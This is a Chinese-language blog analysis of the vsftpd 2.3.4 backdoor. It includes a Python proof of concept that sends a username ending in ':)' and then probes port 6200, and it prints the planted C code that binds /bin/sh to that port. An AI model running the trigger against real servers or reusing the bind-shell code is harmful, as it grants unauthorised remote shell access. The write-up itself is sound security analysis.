作者:k0shl 转载请注明出处:http://whereisk0shl.top
这个漏洞和二进制漏洞关系不大,是一个后门分析,这个vsftpd的版本在网上比较难找,还是去google搜一下吧..
漏洞说明
PoC:
#!/usr/bin/python
#coding:utf-8
#Author:k0shl@ZPT
import sys
import socket
import random
import ftplib
import string
def usage(usagestr):
print "%s [IP]"%usagestr
if __name__ == '__main__':
try:
if len(sys.argv) < 2:
usage(sys.argv[1])
ftp = ftplib.FTP()
ftp.connect(sys.argv[1],'21')
backdoorstr = ''.join(random.sample(string.ascii_letters,4))+":)"#关键!!
backdoorpass = ''.join(random.sample(string.ascii_letters,2))#任意都可以
ftp.login(backdoorstr,backdoorpass)
##触发后门!绑定shell!
while(1):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
nock = s.connect((sys.argv[1],6200))
print "存在后门漏洞"
except:
print "未找到后门"
break
except Exception,e:
print e
在目标机器上编译有问题的vsftpd,然后运行python,参数输入目标机器IP即可。
漏洞分析
vsFtpd是一款应用很广的ftp软件,不仅在linux下常用,freebsd都会自带该软件的安装包,在v2.3.4中,软件包(包括软件源)中发现存在后门漏洞,这种现象有点像XCode事件,无论是厂商恶意添加,还是软件包被人篡改,利用后门都能直接获取到主机shell,下面对此漏洞进行详细分析。
首先,部署vsftpd v2.3.4版本,在客户端运行poc,用wireshark抓包。
可以看到USER部分发送了一个用户名为Gika3:)数据包,接下来继续抓包。
发送了一个Password,这个Password已经不重要了,接下来继续抓包。
重点观察src port部分,向6200端口发送了三次握手协议,实际上在发送USER之后,后门已经被触发了,来看一下我写的PoC部分。
ftp.connect(sys.argv[1],'21')
backdoorstr = ''.join(random.sample(string.ascii_letters,4))+":)"#关键!!
backdoorpass = ''.join(random.sample(string.ascii_letters,2))#任意都可以
ftp.login(backdoorstr,backdoorpass)
在USEER构造中,前面部分我采用了随机生成,在结尾部分拼接了“:)”,这个笑脸符号是漏洞形成的关键。接下来再发送一次payload测试,注意看USER后的内容,依然是随机字符串+:)的组合,随后PASS发送完毕后,又一次连接6200端口。
漏洞分析
首先问题出现在vsftpd源码的str.c中,在这个c语言中,被添加了一行无关代码。
{
return 1;
}
else if((p_str->p_buf[i]==0x3a)
&& (p_str->p_buf[i+1]==0x29))
{
vsf_sysutil_extra();
}
}
return 0;
}
在这个else if语句中,会对p_str结构体中的p_buf数组进行判断,这里判断条件是3a 29,这个正是 :) 的ASCII码,这里是一个遍历判断,在一个for循环中,一旦找到有:)的位置,则会执行vsf_sysutil_extra()函数,这个函数是后门的关键函数。
这个函数存在于另一个.c文件中sysdeputil.c,在.c入口处,就对后门函数进行了定义。
#include <sys/param.h>
#include <sys/uio.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <stdlib.h>
#include <sys/prctl.h>
#include <signal.h>
static int s_proctitle_inited = 0;
static char* s_p_proctitle = 0;
#endif
int vsf_sysutil_extra();
#ifndef VSF_SYSDEP_HAVE_MAP_ANON
#include <sys/types.h>
#include <sys/stat.h>
接下来来到后门函数的主体部分。
int
vsf_sysutil_extra(void)
{
int fd, rfd;
struct sockaddr_in sa;
if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
exit(1);
memset(&sa, 0, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_port = htons(6200);
sa.sin_addr.s_addr = INADDR_ANY;
if((bind(fd,(struct sockaddr *)&sa,
sizeof(struct sockaddr))) < 0) exit(1);
if((listen(fd, 100)) == -1) exit(1);
for(;;)
{
rfd = accept(fd, 0, 0);
close(0); close(1); close(2);
dup2(rfd, 0); dup2(rfd, 1); dup2(rfd, 2);
execl("/bin/sh","sh",(char *)0);
}
}
可以看到,此函数会在本地建立一个socket套接字,然后会将6200端口绑定,之后调用execl将/bin/sh绑定在6200端口,之后外部链接vsftpd,就会激活这个函数,之后链接6200端口就能获得主机的shell了。
:)hhh